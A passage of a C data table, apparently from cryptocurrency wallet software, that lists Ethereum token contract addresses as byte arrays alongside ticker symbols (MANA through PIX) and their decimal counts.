{{0x0F,0x5D,0x2f,0xB2,0x9f,0xb7,0xd3,0xCF,0xeE,0x44,0x4a,0x20,0x02,0x98,0xf4,0x68,0x90,0x8c,0xC9,0x42}, "MANA ", 18},
{{0xfd,0xcc,0x07,0xAb,0x60,0x66,0x0d,0xe5,0x33,0xb5,0xAd,0x26,0xe1,0x45,0x7b,0x56,0x5a,0x9D,0x59,0xBd}, "MART ", 18},
{{0x38,0x64,0x67,0xf1,0xf3,0xdd,0xbe,0x83,0x24,0x48,0x65,0x04,0x18,0x31,0x1a,0x47,0x9e,0xec,0xfc,0x57}, "MBRS ", 0},
{{0x93,0xE6,0x82,0x10,0x7d,0x1E,0x9d,0xef,0xB0,0xb5,0xee,0x70,0x1C,0x71,0x70,0x7a,0x4B,0x2E,0x46,0xBc}, "MCAP ", 8},
{{0x13,0x8A,0x87,0x52,0x09,0x3F,0x4f,0x9a,0x79,0xAa,0xeD,0xF4,0x8d,0x4B,0x92,0x48,0xfa,0xb9,0x3c,0x9C}, "MCI ", 18},
{{0xB6,0x3B,0x60,0x6A,0xc8,0x10,0xa5,0x2c,0xCa,0x15,0xe4,0x4b,0xB6,0x30,0xfd,0x42,0xD8,0xd1,0xd8,0x3d}, "MCO ", 8},
{{0x51,0xDB,0x5A,0xd3,0x5C,0x67,0x1a,0x87,0x20,0x7d,0x88,0xfC,0x11,0xd5,0x93,0xAC,0x0C,0x84,0x15,0xbd}, "MDA ", 18},
{{0x66,0x18,0x60,0x08,0xC1,0x05,0x06,0x27,0xF9,0x79,0xd4,0x64,0xeA,0xBb,0x25,0x88,0x60,0x56,0x3d,0xbE}, "MDS ", 18},
{{0x81,0x4e,0x09,0x08,0xb1,0x2a,0x99,0xfe,0xcf,0x5b,0xc1,0x01,0xbb,0x5d,0x0b,0x8b,0x5c,0xdf,0x7d,0x26}, "MDT ", 18},
{{0xfd,0x1e,0x80,0x50,0x8f,0x24,0x3e,0x64,0xce,0x23,0x4e,0xa8,0x8a,0x5f,0xd2,0x82,0x7c,0x71,0xd4,0xb7}, "MEDX ", 8},
{{0xf0,0x30,0x45,0xa4,0xc8,0x07,0x7e,0x38,0xf3,0xb8,0xe2,0xed,0x33,0xb8,0xae,0xe6,0x9e,0xdf,0x86,0x9f}, "MESH ", 18},
{{0x01,0xf2,0xac,0xf2,0x91,0x48,0x60,0x33,0x1c,0x1c,0xb1,0xa9,0xac,0xec,0xda,0x74,0x75,0xe0,0x6a,0xf8}, "MESH ", 18},
{{0x5b,0x8d,0x43,0xff,0xde,0x4a,0x29,0x82,0xb9,0xa5,0x38,0x7c,0xdf,0x21,0xd5,0x4e,0xad,0x64,0xac,0x8d}, "MEST ", 18},
{{0xa3,0xd5,0x8c,0x4e,0x56,0xfe,0xdc,0xae,0x3a,0x7c,0x43,0xa7,0x25,0xae,0xe9,0xa7,0x1f,0x0e,0xce,0x4e}, "MET ", 18},
{{0xfe,0xf3,0x88,0x4b,0x60,0x3c,0x33,0xef,0x8e,0xd4,0x18,0x33,0x46,0xe0,0x93,0xa1,0x73,0xc9,0x4d,0xa6}, "METM ", 18},
{{0x67,0x10,0xc6,0x34,0x32,0xa2,0xde,0x02,0x95,0x4f,0xc0,0xf8,0x51,0xdb,0x07,0x14,0x6a,0x6c,0x03,0x12}, "MFG ", 18},
{{0xDF,0x2C,0x72,0x38,0x19,0x8A,0xd8,0xB3,0x89,0x66,0x65,0x74,0xf2,0xd8,0xbc,0x41,0x1A,0x4b,0x74,0x28}, "MFT ", 18},
{{0x05,0xD4,0x12,0xCE,0x18,0xF2,0x40,0x40,0xbB,0x3F,0xa4,0x5C,0xF2,0xC6,0x9e,0x50,0x65,0x86,0xD8,0xe8}, "MFTU ", 18},
{{0x40,0x39,0x50,0x44,0xac,0x3c,0x0c,0x57,0x05,0x19,0x06,0xda,0x93,0x8b,0x54,0xbd,0x65,0x57,0xf2,0x12}, "MGO ", 8},
{{0x3a,0x12,0x37,0xd3,0x8d,0x0f,0xb9,0x45,0x13,0xf8,0x5d,0x61,0x67,0x9c,0xad,0x7f,0x38,0x50,0x72,0x42}, "MIC ", 18},
{{0xe2,0x3c,0xd1,0x60,0x76,0x1f,0x63,0xFC,0x3a,0x1c,0xF7,0x8A,0xa0,0x34,0xb6,0xcd,0xF9,0x7d,0x3E,0x0C}, "Mainstrt ", 18},
{{0xad,0x8d,0xd4,0xc7,0x25,0xde,0x1d,0x31,0xb9,0xe8,0xf8,0xd1,0x46,0x08,0x9e,0x9d,0xc6,0x88,0x20,0x93}, "Mychat ", 6},
{{0x4a,0x52,0x7d,0x8f,0xc1,0x3c,0x52,0x03,0xab,0x24,0xba,0x09,0x44,0xf4,0xcb,0x14,0x65,0x8d,0x1d,0xb6}, "MITx ", 18},
{{0x9f,0x8F,0x72,0xaA,0x93,0x04,0xc8,0xB5,0x93,0xd5,0x55,0xF1,0x2e,0xF6,0x58,0x9c,0xC3,0xA5,0x79,0xA2}, "MKR ", 18},
{{0x79,0x39,0x88,0x2b,0x54,0xfc,0xf0,0xbc,0xae,0x6b,0x53,0xde,0xc3,0x9a,0xd6,0xe8,0x06,0x17,0x64,0x42}, "MKT ", 8},
{{0xBE,0xB9,0xeF,0x51,0x4a,0x37,0x9B,0x99,0x7e,0x07,0x98,0xFD,0xcC,0x90,0x1E,0xe4,0x74,0xB6,0xD9,0xA1}, "MLN ", 18},
{{0x1a,0x95,0xB2,0x71,0xB0,0x53,0x5D,0x15,0xfa,0x49,0x93,0x2D,0xab,0xa3,0x1B,0xA6,0x12,0xb5,0x29,0x46}, "MNE ", 8},
{{0xA9,0x87,0x7b,0x1e,0x05,0xD0,0x35,0x89,0x91,0x31,0xDB,0xd1,0xe4,0x03,0x82,0x51,0x66,0xD0,0x9f,0x92}, "MNT ", 18},
{{0x83,0xce,0xe9,0xe0,0x86,0xa7,0x7e,0x49,0x2e,0xe0,0xbb,0x93,0xc2,0xb0,0x43,0x7a,0xd6,0xfd,0xec,0xcc}, "MNTP ", 18},
{{0x86,0x5e,0xc5,0x8b,0x06,0xbf,0x63,0x05,0xb8,0x86,0x79,0x3a,0xa2,0x0a,0x2d,0xa3,0x1d,0x03,0x4e,0x68}, "MOC ", 18},
{{0x95,0x7c,0x30,0xaB,0x04,0x26,0xe0,0xC9,0x3C,0xD8,0x24,0x1E,0x2c,0x60,0x39,0x2d,0x08,0xc6,0xaC,0x8e}, "MOD ", 0},
{{0x50,0x12,0x62,0x28,0x1b,0x2b,0xa0,0x43,0xe2,0xfb,0xf1,0x49,0x04,0x98,0x06,0x89,0xcd,0xdb,0x0c,0x78}, "MORE ", 2},
{{0x26,0x3c,0x61,0x84,0x80,0xdb,0xe3,0x5c,0x30,0x0d,0x8d,0x5e,0xcd,0xa1,0x9b,0xbb,0x98,0x6a,0xca,0xed}, "MOT ", 18},
{{0xfb,0xd0,0xd1,0xc7,0x7b,0x50,0x17,0x96,0xa3,0x5d,0x86,0xcf,0x91,0xd6,0x5d,0x97,0x78,0xee,0xe6,0x95}, "MOVED ", 3},
{{0x44,0xbf,0x22,0x94,0x9f,0x9c,0xc8,0x4b,0x61,0xb9,0x32,0x8a,0x9d,0x88,0x5d,0x1b,0x5c,0x80,0x6b,0x41}, "MOZO ", 2},
{{0xf4,0x53,0xb5,0xb9,0xd4,0xe0,0xb5,0xc6,0x2f,0xfb,0x25,0x6b,0xb2,0x37,0x8c,0xc2,0xbc,0x8e,0x8a,0x89}, "MRK ", 8},
{{0x82,0x12,0x5A,0xFe,0x01,0x81,0x9D,0xff,0x15,0x35,0xD0,0xD6,0x27,0x6d,0x57,0x04,0x52,0x91,0xB6,0xc0}, "MRL ", 18},
{{0x21,0xf0,0xF0,0xfD,0x31,0x41,0xEe,0x9E,0x11,0xB3,0xd7,0xf1,0x3a,0x10,0x28,0xCD,0x51,0x5f,0x45,0x9c}, "MRP ", 18},
{{0xAB,0x6C,0xF8,0x7a,0x50,0xF1,0x7d,0x7F,0x5E,0x1F,0xEa,0xf8,0x1B,0x6f,0xE9,0xFf,0xBe,0x8E,0xBF,0x84}, "MRV ", 18},
{{0x68,0xAA,0x3F,0x23,0x2d,0xA9,0xbd,0xC2,0x34,0x34,0x65,0x54,0x57,0x94,0xef,0x3e,0xEa,0x52,0x09,0xBD}, "MSP ", 18},
{{0x90,0x5E,0x33,0x7c,0x6c,0x86,0x45,0x26,0x3D,0x35,0x21,0x20,0x5A,0xa3,0x7b,0xf4,0xd0,0x34,0xe7,0x45}, "MTC Med ", 18},
{{0xdf,0xdc,0x0d,0x82,0xd9,0x6f,0x8f,0xd4,0x0c,0xa0,0xcf,0xb4,0xa2,0x88,0x95,0x5b,0xec,0xec,0x20,0x88}, "MTC Mesh ", 18},
{{0xaF,0x4D,0xcE,0x16,0xDa,0x28,0x77,0xf8,0xc9,0xe0,0x05,0x44,0xc9,0x3B,0x62,0xAc,0x40,0x63,0x1F,0x16}, "MTH ", 5},
{{0xF4,0x33,0x08,0x93,0x66,0x89,0x9D,0x83,0xa9,0xf2,0x6A,0x77,0x3D,0x59,0xec,0x7e,0xCF,0x30,0x35,0x5e}, "MTL ", 8},
{{0x41,0xdb,0xec,0xc1,0xcd,0xc5,0x51,0x7c,0x6f,0x76,0xf6,0xa6,0xe8,0x36,0xad,0xbe,0xe2,0x75,0x4d,0xe3}, "MTN ", 18},
{{0x7F,0xC4,0x08,0x01,0x11,0x65,0x76,0x0e,0xE3,0x1b,0xE2,0xBF,0x20,0xdA,0xf4,0x50,0x35,0x66,0x92,0xAf}, "MTR ", 8},
{{0x1e,0x49,0xfF,0x77,0xc3,0x55,0xA3,0xe3,0x8D,0x66,0x51,0xce,0x84,0x04,0xAF,0x0E,0x48,0xc5,0x39,0x5f}, "MTRc ", 18},
{{0x0A,0xF4,0x4e,0x27,0x84,0x63,0x72,0x18,0xdD,0x1D,0x32,0xA3,0x22,0xD4,0x4e,0x60,0x3A,0x8f,0x0c,0x6A}, "MTX ", 18},
{{0x51,0x56,0x69,0xd3,0x08,0xf8,0x87,0xfd,0x83,0xa4,0x71,0xc7,0x76,0x4f,0x5d,0x08,0x48,0x86,0xd3,0x4d}, "MUXE ", 18},
{{0xa8,0x49,0xea,0xae,0x99,0x4f,0xb8,0x6a,0xfa,0x73,0x38,0x2e,0x9b,0xd8,0x8c,0x2b,0x6b,0x18,0xdc,0x71}, "MVL ", 18},
{{0x8a,0x77,0xe4,0x09,0x36,0xbb,0xc2,0x7e,0x80,0xe9,0xa3,0xf5,0x26,0x36,0x8c,0x96,0x78,0x69,0xc8,0x6d}, "MVP ", 18},
{{0x64,0x25,0xc6,0xbe,0x90,0x2d,0x69,0x2a,0xe2,0xdb,0x75,0x2b,0x3c,0x26,0x8a,0xfa,0xdb,0x09,0x9d,0x3b}, "MWAT ", 18},
{{0xf7,0xe9,0x83,0x78,0x16,0x09,0x01,0x23,0x07,0xf2,0x51,0x4f,0x63,0xD5,0x26,0xD8,0x3D,0x24,0xF4,0x66}, "MYD ", 16},
{{0xa6,0x45,0x26,0x4C,0x56,0x03,0xE9,0x6c,0x3b,0x0B,0x07,0x8c,0xda,0xb6,0x87,0x33,0x79,0x4B,0x0A,0x71}, "MYST ", 8},
{{0x8d,0x80,0xde,0x8A,0x78,0x19,0x83,0x96,0x32,0x9d,0xfA,0x76,0x9a,0xD5,0x4d,0x24,0xbF,0x90,0xE7,0xaa}, "NAC ", 18},
{{0xff,0xe0,0x2e,0xe4,0xc6,0x9e,0xdf,0x1b,0x34,0x0f,0xca,0xd6,0x4f,0xbd,0x6b,0x37,0xa7,0xb9,0xe2,0x65}, "NANJ ", 8},
{{0x5d,0x65,0xD9,0x71,0x89,0x5E,0xdc,0x43,0x8f,0x46,0x5c,0x17,0xDB,0x69,0x92,0x69,0x8a,0x52,0x31,0x8D}, "NAS ", 18},
{{0x58,0x80,0x47,0x36,0x5d,0xf5,0xba,0x58,0x9f,0x92,0x36,0x04,0xaa,0xc2,0x3d,0x67,0x35,0x55,0xc6,0x23}, "NAVI ", 18},
{{0x17,0xf8,0xaF,0xB6,0x3D,0xfc,0xDc,0xC9,0x0e,0xbE,0x6e,0x84,0xF0,0x60,0xCc,0x30,0x6A,0x98,0x25,0x7D}, "NBAI ", 18},
{{0x9f,0x19,0x56,0x17,0xfa,0x8f,0xba,0xd9,0x54,0x0c,0x5d,0x11,0x3a,0x99,0xa0,0xa0,0x17,0x2a,0xae,0xdc}, "NBC ", 18},
{{0x80,0x98,0x26,0xcc,0xea,0xb6,0x8c,0x38,0x77,0x26,0xaf,0x96,0x27,0x13,0xb6,0x4c,0xb5,0xcb,0x3c,0xca}, "NCASH ", 18},
{{0x5d,0x48,0xf2,0x93,0xba,0xed,0x24,0x7a,0x2d,0x01,0x89,0x05,0x8b,0xa3,0x7a,0xa2,0x38,0xbd,0x47,0x25}, "NCC Neur ", 18},
{{0x93,0x44,0xb3,0x83,0xb1,0xD5,0x9b,0x5c,0xe3,0x46,0x8B,0x23,0x4D,0xAB,0x43,0xC7,0x19,0x0b,0xa7,0x35}, "NCC Need ", 18},
{{0x9e,0x46,0xa3,0x8f,0x5d,0xaa,0xbe,0x86,0x83,0xe1,0x07,0x93,0xb0,0x67,0x49,0xee,0xf7,0xd7,0x33,0xd1}, "NCT ", 18},
{{0xa5,0x4d,0xdc,0x7b,0x3c,0xce,0x7f,0xc8,0xb1,0xe3,0xfa,0x02,0x56,0xd0,0xdb,0x80,0xd2,0xc1,0x09,0x70}, "NDC ", 18},
{{0xcc,0x80,0xc0,0x51,0x05,0x7b,0x77,0x4c,0xd7,0x50,0x67,0xdc,0x48,0xf8,0x98,0x7c,0x4e,0xb9,0x7a,0x5e}, "NEC ", 18},
{{0xd8,0x44,0x62,0x36,0xFA,0x95,0xb9,0xb5,0xf9,0xfd,0x0f,0x8E,0x7D,0xf1,0xa9,0x44,0x82,0x3c,0x68,0x3d}, "NEEO ", 18},
{{0xcf,0xb9,0x86,0x37,0xbc,0xae,0x43,0xC1,0x33,0x23,0xEA,0xa1,0x73,0x1c,0xED,0x2B,0x71,0x69,0x62,0xfD}, "NET ", 18},
{{0xa8,0x23,0xe6,0x72,0x20,0x06,0xaf,0xe9,0x9e,0x91,0xc3,0x0f,0xf5,0x29,0x50,0x52,0xfe,0x6b,0x8e,0x32}, "NEU ", 18},
{{0x81,0x49,0x64,0xb1,0xbc,0xeA,0xf2,0x4e,0x26,0x29,0x6D,0x03,0x1E,0xaD,0xf1,0x34,0xa2,0xCa,0x41,0x05}, "NEWB ", 0},
{{0xb6,0x21,0x32,0xe3,0x5a,0x6c,0x13,0xee,0x1e,0xe0,0xf8,0x4d,0xc5,0xd4,0x0b,0xad,0x8d,0x81,0x52,0x06}, "NEXO ", 18},
{{0x72,0xdd,0x4b,0x6b,0xd8,0x52,0xa3,0xaa,0x17,0x2b,0xe4,0xd6,0xc5,0xa6,0xdb,0xec,0x58,0x8c,0xf1,0x31}, "NGC ", 18},
{{0xe2,0x65,0x17,0xA9,0x96,0x72,0x99,0x45,0x3d,0x3F,0x1B,0x48,0xAa,0x00,0x5E,0x61,0x27,0xe6,0x72,0x10}, "NIMFA ", 18},
{{0x55,0x54,0xe0,0x4e,0x76,0x53,0x3e,0x1d,0x14,0xc5,0x2f,0x05,0xbe,0xef,0x6c,0x9d,0x32,0x9e,0x1e,0x30}, "NIO ", 0},
{{0x17,0x76,0xe1,0xF2,0x6f,0x98,0xb1,0xA5,0xdF,0x9c,0xD3,0x47,0x95,0x3a,0x26,0xdd,0x3C,0xb4,0x66,0x71}, "NMR ", 18},
{{0x58,0xa4,0x88,0x41,0x82,0xd9,0xe8,0x35,0x59,0x7f,0x40,0x5e,0x5f,0x25,0x82,0x90,0xe4,0x6a,0xe7,0xc2}, "NOAH ", 18},
{{0xf4,0xfa,0xea,0x45,0x55,0x75,0x35,0x4d,0x26,0x99,0xbc,0x20,0x9b,0x0a,0x65,0xca,0x99,0xf6,0x99,0x82}, "NOBS ", 18},
{{0xec,0x46,0xf8,0x20,0x7d,0x76,0x60,0x12,0x45,0x4c,0x40,0x8d,0xe2,0x10,0xbc,0xbc,0x22,0x43,0xe7,0x1c}, "NOX ", 18},
{{0x4c,0xe6,0xb3,0x62,0xbc,0x77,0xa2,0x49,0x66,0xdd,0xa9,0x07,0x8f,0x9c,0xef,0x81,0xb3,0xb8,0x86,0xa7}, "NPER ", 18},
{{0x28,0xb5,0xe1,0x2c,0xce,0x51,0xf1,0x55,0x94,0xb0,0xb9,0x1d,0x5b,0x5a,0xda,0xa7,0x0f,0x68,0x4a,0x02}, "NPX ", 2},
{{0xa1,0x5c,0x7e,0xbe,0x1f,0x07,0xca,0xf6,0xbf,0xf0,0x97,0xd8,0xa5,0x89,0xfb,0x8a,0xc4,0x9a,0xe5,0xb3}, "NPXS ", 18},
{{0x69,0xbe,0xab,0x40,0x34,0x38,0x25,0x3f,0x13,0xb6,0xe9,0x2d,0xb9,0x1f,0x7f,0xb8,0x49,0x25,0x82,0x63}, "NTK ", 18},
{{0x5d,0x4d,0x57,0xcd,0x06,0xfa,0x7f,0xe9,0x9e,0x26,0xfd,0xc4,0x81,0xb4,0x68,0xf7,0x7f,0x05,0x07,0x3c}, "NTK ", 18},
{{0x8a,0x99,0xed,0x8a,0x1b,0x20,0x49,0x03,0xee,0x46,0xe7,0x33,0xf2,0xc1,0x28,0x6f,0x6d,0x20,0xb1,0x77}, "NTO ", 18},
{{0x22,0x33,0x79,0x9e,0xe2,0x68,0x3d,0x75,0xdf,0xef,0xac,0xbc,0xd2,0xa2,0x6c,0x78,0xd3,0x4b,0x47,0x0d}, "NTWK ", 18},
{{0x24,0x5e,0xf4,0x7d,0x4d,0x05,0x05,0xec,0xf3,0xac,0x46,0x3f,0x4d,0x81,0xf4,0x1a,0xde,0x8f,0x1f,0xd1}, "NUG ", 18},
{{0xb9,0x13,0x18,0xf3,0x5b,0xdb,0x26,0x2e,0x94,0x23,0xbc,0x7c,0x7c,0x2a,0x3a,0x93,0xdd,0x93,0xc9,0x2c}, "NULS ", 18},
{{0x57,0xAb,0x1E,0x02,0xfE,0xE2,0x37,0x74,0x58,0x0C,0x11,0x97,0x40,0x12,0x9e,0xAC,0x70,0x81,0xe9,0xD3}, "sUSD ", 18},
{{0x76,0x27,0xde,0x4b,0x93,0x26,0x3a,0x6a,0x75,0x70,0xb8,0xda,0xfa,0x64,0xba,0xe8,0x12,0xe5,0xc3,0x94}, "NXX ", 8},
{{0x5c,0x61,0x83,0xd1,0x0A,0x00,0xCD,0x74,0x7a,0x6D,0xbb,0x5F,0x65,0x8a,0xD5,0x14,0x38,0x3e,0x94,0x19}, "NXX OLD ", 8},
{{0x45,0xe4,0x2D,0x65,0x9D,0x9f,0x94,0x66,0xcD,0x5D,0xF6,0x22,0x50,0x60,0x33,0x14,0x5a,0x9b,0x89,0xBc}, "NxC ", 3},
{{0x5e,0x88,0x8B,0x83,0xB7,0x28,0x7E,0xED,0x4f,0xB7,0xDA,0x7b,0x7d,0x0A,0x0D,0x4c,0x73,0x5d,0x94,0xb3}, "OAK ", 18},
{{0x70,0x1C,0x24,0x4b,0x98,0x8a,0x51,0x3c,0x94,0x59,0x73,0xdE,0xFA,0x05,0xde,0x93,0x3b,0x23,0xFe,0x1D}, "OAX ", 18},
{{0x02,0x35,0xfe,0x62,0x4e,0x04,0x4a,0x05,0xee,0xd7,0xa4,0x3e,0x16,0xe3,0x08,0x3b,0xc8,0xa4,0x28,0x7a}, "OCC ", 18},
{{0x40,0x92,0x67,0x8e,0x4e,0x78,0x23,0x0f,0x46,0xa1,0x53,0x4c,0x0f,0xbc,0x8f,0xa3,0x97,0x80,0x89,0x2b}, "OCN ", 18},
{{0xbf,0x52,0xf2,0xab,0x39,0xe2,0x6e,0x09,0x51,0xd2,0xa0,0x2b,0x49,0xb7,0x70,0x2a,0xbe,0x30,0x40,0x6a}, "ODE ", 18},
{{0x6f,0x53,0x9a,0x94,0x56,0xa5,0xbc,0xb6,0x33,0x4a,0x1a,0x41,0x20,0x7c,0x37,0x88,0xf5,0x82,0x52,0x07}, "OHNI ", 18},
{{0xc6,0x6e,0xa8,0x02,0x71,0x7b,0xfb,0x98,0x33,0x40,0x02,0x64,0xdd,0x12,0xc2,0xbc,0xea,0xa3,0x4a,0x6d}, "OLD_MKR ", 18},
{{0x9d,0x92,0x23,0x43,0x6d,0xdd,0x46,0x6f,0xc2,0x47,0xe9,0xdb,0xbd,0x20,0x20,0x7e,0x64,0x0f,0xef,0x58}, "OLE ", 18},
{{0x64,0xA6,0x04,0x93,0xD8,0x88,0x72,0x8C,0xf4,0x26,0x16,0xe0,0x34,0xa0,0xdf,0xEA,0xe3,0x8E,0xFC,0xF0}, "OLT ", 18},
{{0xd2,0x61,0x14,0xcd,0x6E,0xE2,0x89,0xAc,0xcF,0x82,0x35,0x0c,0x8d,0x84,0x87,0xfe,0xdB,0x8A,0x0C,0x07}, "OMG ", 18},
{{0xb5,0xdb,0xc6,0xd3,0xcf,0x38,0x00,0x79,0xdf,0x3b,0x27,0x13,0x56,0x64,0xb6,0xbc,0xf4,0x5d,0x18,0x69}, "OMX ", 8},
{{0xb2,0x3b,0xe7,0x35,0x73,0xbc,0x7e,0x03,0xdb,0x6e,0x5d,0xfc,0x62,0x40,0x53,0x68,0x71,0x6d,0x28,0xa8}, "ONEK ", 18},
{{0xd3,0x41,0xd1,0x68,0x0e,0xee,0xe3,0x25,0x5b,0x8c,0x4c,0x75,0xbc,0xce,0x7e,0xb5,0x7f,0x14,0x4d,0xae}, "onG ", 18},
{{0x68,0x63,0xbe,0x0e,0x7c,0xf7,0xce,0x86,0x0a,0x57,0x47,0x60,0xe9,0x02,0x0d,0x51,0x9a,0x8b,0xdc,0x47}, "ONL ", 18},
{{0x69,0xc4,0xBB,0x24,0x0c,0xF0,0x5D,0x51,0xee,0xab,0x69,0x85,0xBa,0xb3,0x55,0x27,0xd0,0x4a,0x8C,0x64}, "OPEN ", 8},
{{0x43,0x55,0xfC,0x16,0x0f,0x74,0x32,0x8f,0x9b,0x38,0x3d,0xF2,0xEC,0x58,0x9b,0xB3,0xdF,0xd8,0x2B,0xa0}, "OPT ", 18},
{{0x83,0x29,0x04,0x86,0x39,0x78,0xb9,0x48,0x02,0x12,0x31,0x06,0xe6,0xeb,0x49,0x1b,0xdf,0x0d,0xf9,0x28}, "OPTI ", 18},
{{0xff,0x56,0xCc,0x6b,0x1E,0x6d,0xEd,0x34,0x7a,0xA0,0xB7,0x67,0x6C,0x85,0xAB,0x0B,0x3D,0x08,0xB0,0xFA}, "ORBS ", 18},
{{0x6F,0x59,0xe0,0x46,0x1A,0xe5,0xE2,0x79,0x9F,0x1f,0xB3,0x84,0x7f,0x05,0xa6,0x3B,0x16,0xd0,0xDb,0xF8}, "ORCA ", 18},
{{0xd2,0xfa,0x8f,0x92,0xea,0x72,0xab,0xb3,0x5d,0xbd,0x6d,0xec,0xa5,0x71,0x73,0xd2,0x2d,0xb2,0xba,0x49}, "ORI ", 18},
{{0x51,0x6E,0x54,0x36,0xbA,0xfd,0xc1,0x10,0x83,0x65,0x4D,0xE7,0xBb,0x9b,0x95,0x38,0x2d,0x08,0xd5,0xDE}, "ORME ", 8},
{{0xeb,0x9a,0x4b,0x18,0x58,0x16,0xc3,0x54,0xdb,0x92,0xdb,0x09,0xcc,0x3b,0x50,0xbe,0x60,0xb9,0x01,0xb6}, "ORS ", 18},
{{0x2C,0x4e,0x8f,0x2D,0x74,0x61,0x13,0xd0,0x69,0x6c,0xE8,0x9B,0x35,0xF0,0xd8,0xbF,0x88,0xE0,0xAE,0xcA}, "OST ", 18},
{{0x88,0x1e,0xf4,0x82,0x11,0x98,0x2d,0x01,0xe2,0xcb,0x70,0x92,0xc9,0x15,0xe6,0x47,0xcd,0x40,0xd8,0x5c}, "OTN ", 18},
{{0x17,0x0b,0x27,0x5c,0xed,0x08,0x9f,0xff,0xae,0xbf,0xe9,0x27,0xf4,0x45,0xa3,0x50,0xed,0x91,0x60,0xdc}, "OWN ", 8},
{{0x65,0xa1,0x50,0x14,0x96,0x4f,0x21,0x02,0xff,0x58,0x64,0x7e,0x16,0xa1,0x6a,0x6b,0x9e,0x14,0xbc,0xf6}, "Ox Fina ", 3},
{{0xb9,0xbb,0x08,0xab,0x7e,0x9f,0xa0,0xa1,0x35,0x6b,0xd4,0xa3,0x9e,0xc0,0xca,0x26,0x7e,0x03,0xb0,0xb3}, "PAI ", 18},
{{0xfe,0xDA,0xE5,0x64,0x26,0x68,0xf8,0x63,0x6A,0x11,0x98,0x7F,0xf3,0x86,0xbf,0xd2,0x15,0xF9,0x42,0xEE}, "PAL ", 18},
{{0xea,0x5f,0x88,0xe5,0x4d,0x98,0x2c,0xbb,0x0c,0x44,0x1c,0xde,0x4e,0x79,0xbc,0x30,0x5e,0x5b,0x43,0xbc}, "PARETO ", 18},
{{0x6d,0xd4,0xe4,0xaa,0xd2,0x9a,0x40,0xed,0xd6,0xa4,0x09,0xb9,0xc1,0x62,0x51,0x86,0xc9,0x85,0x5b,0x4d}, "PARKGEN ", 8},
{{0x77,0x76,0x1e,0x63,0xc0,0x5a,0xee,0x66,0x48,0xfd,0xae,0xaa,0x9b,0x94,0x24,0x83,0x51,0xaf,0x9b,0xcd}, "PASS ", 18},
{{0xF3,0xb3,0xCa,0xd0,0x94,0xB8,0x93,0x92,0xfc,0xE5,0xfa,0xFD,0x40,0xbC,0x03,0xb8,0x0F,0x2B,0xc6,0x24}, "PAT ", 18},
{{0x69,0x44,0x04,0x59,0x5e,0x30,0x75,0xa9,0x42,0x39,0x7f,0x46,0x6a,0xac,0xd4,0x62,0xff,0x1a,0x7b,0xd0}, "PATENTS ", 18},
{{0xF8,0x13,0xF3,0x90,0x2b,0xBc,0x00,0xA6,0xDC,0xe3,0x78,0x63,0x4d,0x3B,0x79,0xD8,0x4F,0x98,0x03,0xd7}, "PATH ", 18},
{{0x8e,0x87,0x0d,0x67,0xf6,0x60,0xd9,0x5d,0x5b,0xe5,0x30,0x38,0x0d,0x0e,0xc0,0xbd,0x38,0x82,0x89,0xe1}, "PAX ", 18},
{{0xB9,0x70,0x48,0x62,0x8D,0xB6,0xB6,0x61,0xD4,0xC2,0xaA,0x83,0x3e,0x95,0xDb,0xe1,0xA9,0x05,0xB2,0x80}, "PAY ", 18},
{{0x55,0x64,0x8d,0xe1,0x98,0x36,0x33,0x85,0x49,0x13,0x0b,0x1a,0xf5,0x87,0xf1,0x6b,0xea,0x46,0xf6,0x6b}, "PBL ", 18},
{{0xF4,0xc0,0x7b,0x18,0x65,0xbC,0x32,0x6A,0x3c,0x01,0x33,0x94,0x92,0xCa,0x75,0x38,0xFD,0x03,0x8C,0xc0}, "PBT ", 4},
{{0xfc,0xAC,0x7A,0x75,0x15,0xe9,0xA9,0xd7,0x61,0x9f,0xA7,0x7A,0x1f,0xa7,0x38,0x11,0x1f,0x66,0x72,0x7e}, "PCH ", 18},
{{0xe3,0xf4,0xb4,0xa5,0xd9,0x1e,0x5c,0xb9,0x43,0x5b,0x94,0x7f,0x09,0x0a,0x31,0x97,0x37,0x03,0x63,0x12}, "PCH ", 18},
{{0x36,0x18,0x51,0x6F,0x45,0xCD,0x3c,0x91,0x3F,0x81,0xF9,0x98,0x7A,0xF4,0x10,0x77,0x93,0x2B,0xc4,0x0d}, "PCL ", 8},
{{0x53,0x14,0x8B,0xb4,0x55,0x17,0x07,0xed,0xF5,0x1a,0x1e,0x8d,0x7A,0x93,0x69,0x8d,0x18,0x93,0x12,0x25}, "PCLOLD ", 8},
{{0x0d,0xb0,0x3B,0x6C,0xDe,0x0B,0x2d,0x42,0x7C,0x64,0xa0,0x4F,0xeA,0xfd,0x82,0x59,0x38,0x36,0x8f,0x1F}, "PDATA ", 18},
{{0x8A,0xe5,0x6a,0x68,0x50,0xa7,0xcb,0xea,0xC3,0xc3,0xAb,0x2c,0xB3,0x11,0xe7,0x62,0x01,0x67,0xeA,0xC8}, "PEG ", 18},
{{0x58,0x84,0x96,0x9E,0xc0,0x48,0x05,0x56,0xE1,0x1d,0x11,0x99,0x80,0x13,0x6a,0x4C,0x17,0xeD,0xDE,0xd1}, "PET ", 18},
{{0xec,0x18,0xf8,0x98,0xb4,0x07,0x6a,0x3e,0x18,0xf1,0x08,0x9d,0x33,0x37,0x6c,0xc3,0x80,0xbd,0xe6,0x1d}, "PETRO ", 18},
{{0x55,0xc2,0xA0,0xC1,0x71,0xD9,0x20,0x84,0x35,0x60,0x59,0x4d,0xE3,0xd6,0xEE,0xcC,0x09,0xeF,0xc0,0x98}, "PEXT ", 4},
{{0x2f,0xa3,0x2a,0x39,0xfc,0x1c,0x39,0x9e,0x0c,0xc7,0xb2,0x93,0x58,0x68,0xf5,0x16,0x5d,0xe7,0xce,0x97}, "PFR ", 8},
{{0x13,0xc2,0xfa,0xb6,0x35,0x4d,0x37,0x90,0xd8,0xec,0xe4,0xf0,0xf1,0xa3,0x28,0x0b,0x4a,0x25,0xad,0x96}, "PHI ", 18},
{{0xE6,0x45,0x09,0xF0,0xbf,0x07,0xce,0x2d,0x29,0xA7,0xeF,0x19,0xA8,0xA9,0xbc,0x06,0x54,0x77,0xC1,0xB4}, "PIPL ", 8},
{{0x0f,0xf1,0x61,0x07,0x1e,0x62,0x7a,0x0e,0x6d,0xe1,0x38,0x10,0x5c,0x73,0x97,0x0f,0x86,0xca,0x79,0x22}, "PIT ", 18},
{{0x8e,0xFF,0xd4,0x94,0xeB,0x69,0x8c,0xc3,0x99,0xAF,0x62,0x31,0xfC,0xcd,0x39,0xE0,0x8f,0xd2,0x0B,0x15}, "PIX ", 0},
